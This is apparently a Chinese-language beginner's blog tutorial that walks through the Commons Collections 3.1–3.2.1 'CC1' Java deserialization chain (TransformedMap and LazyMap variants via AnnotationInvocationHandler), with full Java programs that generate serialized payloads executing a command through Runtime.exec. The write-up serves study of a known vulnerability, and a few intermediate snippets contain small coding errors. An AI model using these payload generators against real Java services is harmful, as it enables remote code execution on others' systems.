感觉技术这个东西明白了之后不太能解释新手向的疑问点,就像靠驾照一样考过的都觉得简单但是没考过的觉得特别难,这次还是针对新手向分析一下,趁现在处于菜鸟阶段的理解分析,让后来的新手师傅们都能看懂(有参考)!也顺便保持学到哪儿记录到哪儿的习惯,才有了这篇文章!

前言

前面跟着组长的视频看了一下CommonsCollections 1的两条链,可能就跟组长说的:有的人觉得这个作者把payload给出了,他就照着这个反向去推,也不见得你能明白!有的人调漏洞,他把payload拷出来然后放到idea里面,然后就放进去调,下断点,调完走完他说分析完了,那TM是你分析的吗?那不是idea自己走的吗?分析什么呢?

真的猛猛点赞这段话,因为那些作者可能自己都不明白为什么这样做,为什么要去找某个调用,为了写文章而写文章,害苦了很多像我这样的新手!

所以当天晚上看懂了但是后面看其他链的时候有点懵,这几天经过痛苦的挣扎(是挺痛苦的但是也没完全把心思放这上面,去搭了内网环境验证了一下一个突然想到内网渗透中可能用到的奇怪的点)也算是完全理解了。

CommonsCollections 1

先说一下CommonsCollections 1其实是有两条链的

这里分析是国内的那条链以AnnotationInvocationHandler为入口!

环境配置

环境配置

去官网下载 jdk8u65
https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

然后去 下载openjdk
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/af660750b2f4/
把下载的openjdk里 /share/classes/ 里面的 sun包 复制到 jdk1.8.0_65

maven依赖

    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

利用版本

CommonsCollections 3.1 - 3.2.1

限制

JDK版本:1.7 (8u71之后已修复不可利用)

cc1链分析

这里先以攻击者的角度来分析

主要用到的是这个 transformer接口。这个接口就接受一个Object类然后利用方法transform

1.png

这里先去找一下那里实现了这个接口

ConstantTransformer

这里找到了ConstantTransformer类,看看他的实现方法是干嘛的。

2.png

这里看到他是接收一个Object,然后返回它,就是不管接受什么结果都是一样的。

ChainedTransformer

再看看这个ChainedTransformer类

3.png

这里看到它是一个链式调用,前一个的输出作为后一个的输入这样递归调用

利用类(sink)

InvokerTransformer

这里我们找到了前人payload的利用点

4.png

这里进行了反射调用,然后对应的方法,参数类型,以及参数都是我们可控的,这里就非常符合我们反序列化漏洞里面的标准:任意方法调用!

因此我们可以通过 InvokerTransformer类的 transform 方法来invoke Runtime类getRuntime对象的exec实现 rce

下文所有的代码runtime执行都将是invokerTransformer版本!!

public static void main(String[] args) throws IOException, Exception {
        Runtime runtime = Runtime.getRuntime();
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"}).transform(runtime);
}

5.png

利用链(gadget)

在通过 InvokerTransformer::transform()实现rce之后,接下来就找一下 哪些类可以调用 InvokerTransformer.transform()方法

右键查找 transform() 的用法:

这里直接跟进链子的了就不一个一个看了,看到了TransformedMap类的 checkSetValue() 里调用了transform

6.png

7.png

这里使用了 valueTransformer调用transform()

而这个 valueTransformer参数是什么呢?是否可控呢?如果把它改成InvokerTransformer不就可以rce了吗?

看一下这个类有没有操作点

8.png

这里构造函数里可以直接赋值 可控!

但是我们发现TransformedMapprotected方法,所以我们在他自己类中找哪个地方能够调用TransformedMap这里可能钻牛角尖的会说为什么不反射调用,因为这里还没到最初的入口,你反射出来怎么知道可不可以传进去呢?而且这条是条“链”不是自己构造的漏洞代码!

9.png

这里看到可以利用decorate方法来生成 TransformedMap实例

接着构造payload

public static void main(String[] args) throws IOException, Exception {
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"}).transform(runtime);

        HashMap<Object, Object> map = new HashMap<>();
        TransformedMap.decorate(map, null, InvokerTransformer);    //这里直接把value赋值给valueTransformer
}

我们完成了调用 TransformedMap的decorate方法把valueTransformer赋值成了InvokerTransformer实例,然后调用checkSetValue方法,就可以通过 valueTransformer.transform(value); 实现 InvokerTransformer.transform(value); 从而实现rce

目前的调用过程:

r.exec<—InvokerTransformer.transform<—TransformedMap.checkSetValue<—TransformedMap.decorate<—???<—readObject

但是这里只是赋值让这个链成立,还需要去触发checkSetValue呢!继续寻找入口点!

查找checkSetValue用法

10.png

这里找到了父类 AbstractInputCheckedMapDecorator抽象类里的 MapEntry 的setValue() 调用了checkSetValue()

Entry是什么?(太多调用setvalue了,就不找了呜呜呜)

entry其实就是map遍历的时候的一个键值对

下面就是一个遍历map的一个方法:

for(Map.Entry entry:map.entrySet()){
    entry.getValue();
}

哎 算啦算啦 搂一眼

11.png

12.png

我们可以发现MapEntry类中的setValue方法其实是Map里面的setValue方法。这里MapEntry里面进行了重写。它继承了AbstractMapEntryDecorator这个类,这个类又实现了Map.Entry接口,所以我们只需要进行常用的Map遍历,就可以调用setValue方法,然后调用checkSetValue方法.....

public static void main(String[] args) throws IOException, Exception {
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"}).transform(runtime);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("key","aaa");
        Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, InvokerTransformer);    //这里直接把value赋值给valueTransformer
        for(Map.Entry entry:transformedmap.entrySet()){
            entry.setValue(runtime);
        }
}

13.png

这里的调用过程:

r.exec<—InvokerTransformer.transform<—TransformedMap.checkSetValue<—TransformedMap.decorate<—AbstractInputCheckedMapDecorator.setValue<—???<—readObject

source

然后我们要找到一个能够遍历map的方法,又能把transformedmap传进去,最好就是某个类的readObject里面遍历map时调用了setValue

AnnotationInvocationHandler

这里我们找到了AnnotationInvocationHandler

14.png

这里可以看到AnnotationInvocationHandler类里面的readObject方法调用了memberValues.setValue。接下来看看memberValues是什么我们是否能控制

15.png

这里可以看到构造函数接受两个参数,一个是注解,一个是一个map(这里我们就完全可以控制为我们构造的:transformedmap)

这里有个注意点:这个类是没有访问修饰符的 也就是default类型,default也就是必须要在当前类的包下才能获取。所以我们这里利用反射来获取

构造payload

public static void main(String[] args) throws IOException, Exception {
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"}).transform(runtime);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("key","aaa");
        Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, InvokerTransformer);    //这里直接把value赋值给valueTransformer

        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> annotationinvocationhdlConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        annotationinvocationhdlConstructor.setAccessible(true);
        Object o = annotationinvocationhdlConstructor.newInstance(Override.class, transformedmap);
  
        serialize(o);
          unserialize("cc1.bin");
  
      private static void serialize(Object obj) throws IOException {
        ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
        oss.writeObject(obj);
        System.out.println(new java.util.Date());
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        System.out.println(new java.util.Date());
        return obj;
    }
}

感觉一切都这么简单,但其实还留下了三个问题

  1. Runtime对象不能被序列化
  2. 这里得进if判断才能走到setValue

16.png

  1. 也是这里setValue参数不能控制

解决问题

Runtime对象不能被序列化

Runtime的class是可以被序列化的

Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime", null);
Runtime r = (Runtime)getRuntimeMethod.invoke(null, null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"open -a calculator");

改写成InvokerTransformer版本

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime)new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"}).transform(r);

代码不够优雅

InvokerTransformer刚刚也说过是前一个输出作为后一个输入嘛。

还记得我们之前找到了一个链式调用的工具类ChainedTransformer

        Transformer[] transformers = new Transformer[]{
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(Runtime.class);

改造过后的payload

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {

    public static void main(String[] args) throws IOException, Exception {

        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        //chainedTransformer.transform(Runtime.class); 这里注释是因为不需要了 下面用

        HashMap<Object, Object> map = new HashMap<>();
        map.put("key","aaa");
        Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);


        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> annotationinvocationhdlConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        annotationinvocationhdlConstructor.setAccessible(true);
        Object o = annotationinvocationhdlConstructor.newInstance(Override.class, transformedmap);

        serialize(o);
        unserialize("cc1.bin");
    }
    private static void serialize(Object obj) throws IOException {
        ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
        oss.writeObject(obj);
        System.out.println(new java.util.Date());

    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        System.out.println(new java.util.Date());
        return obj;
    }
}

进入if判断

17.png

这里可以看到获取了Override,然后再通过Override获取了它的成员变量封装成map,再获取传入map键值对的key,再在membertypes里查找key,但这里肯定是空的

18.png

Override没有成员变量,我们就得找一个有成员变量的注解并且传入键值对的key得是它的成员变量

那我们就用上图的Target它成员变量是value


public class CC1Test {

    public static void main(String[] args) throws IOException, Exception {

        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        //chainedTransformer.transform(Runtime.class); //这里注释是因为不需要了 因为下面传到了 TransformedMap.decorate中

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","aaa");
        Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);


        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> annotationinvocationhdlConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        annotationinvocationhdlConstructor.setAccessible(true);
        Object o = annotationinvocationhdlConstructor.newInstance(Target.class, transformedmap);

        serialize(o);
        unserialize("cc1.bin");
    }
    private static void serialize(Object obj) throws IOException {
        ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
        oss.writeObject(obj);
        System.out.println(new java.util.Date());

    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        System.out.println(new java.util.Date());
        return obj;
    }
}

19.png

成功进入了if判断

setValue参数不能控制

继续跟

20.png

步入最后的点

valueTransformer.transform(value)

chainedTransformer.transform(Runtime.class)

这两个其实是一样的!

这里这个valueTransformer.transform(value); 实际上我们需要把value 改成这个Runtime.class 才可以

21.png

但是在AnnotationInvocationHandler中已经写死了

这里我们再用一下前面看到的另一个类:ConstantTransformer

它不管接收什么都会返回接收的东西

这里我们把 new ConstantTransformer(Runtime.class) 写入到 transformers数组里, 就是说在最后valueTransformer.transform(value);chainedTransformer.transform(value);循环调用的时候,首先调用了 ConstantTransformer的transform方法,也就忽略了前面的value,只会在循环调用时返回我们写的!

那爷也把它写死!

改Payload!!!

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {

    public static void main(String[] args) throws IOException, Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        //chainedTransformer.transform(Runtime.class);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","aaa");
        Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);


        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> annotationinvocationhdlConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        annotationinvocationhdlConstructor.setAccessible(true);
        Object o = annotationinvocationhdlConstructor.newInstance(Target.class, transformedmap);

        serialize(o);
        unserialize("cc1.bin");
    }
    private static void serialize(Object obj) throws IOException {
        ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
        oss.writeObject(obj);
        System.out.println(new java.util.Date());

    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        System.out.println(new java.util.Date());
        return obj;
    }
}

22.png

get!!!

LazyMap链

和之前的差不多,实际上区别就是 这个.get 是在LazyMap.get()

/*
    Gadget chain:
        ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()
*/

所以原本的代码应该改为:

public class CC1_lazy {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationhdlConstructor.setAccessible(true);
        InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);

        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);

        Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);
        serialize(o);
        unserialize("sercc1.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc1.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

End

本来是不想写原版因为看了大概有些巧妙的操作,但是明显感觉是炫技,我这个菜鸟就不参与了,但是看到其他师傅分析的挺简短就看了一下也算copy了下~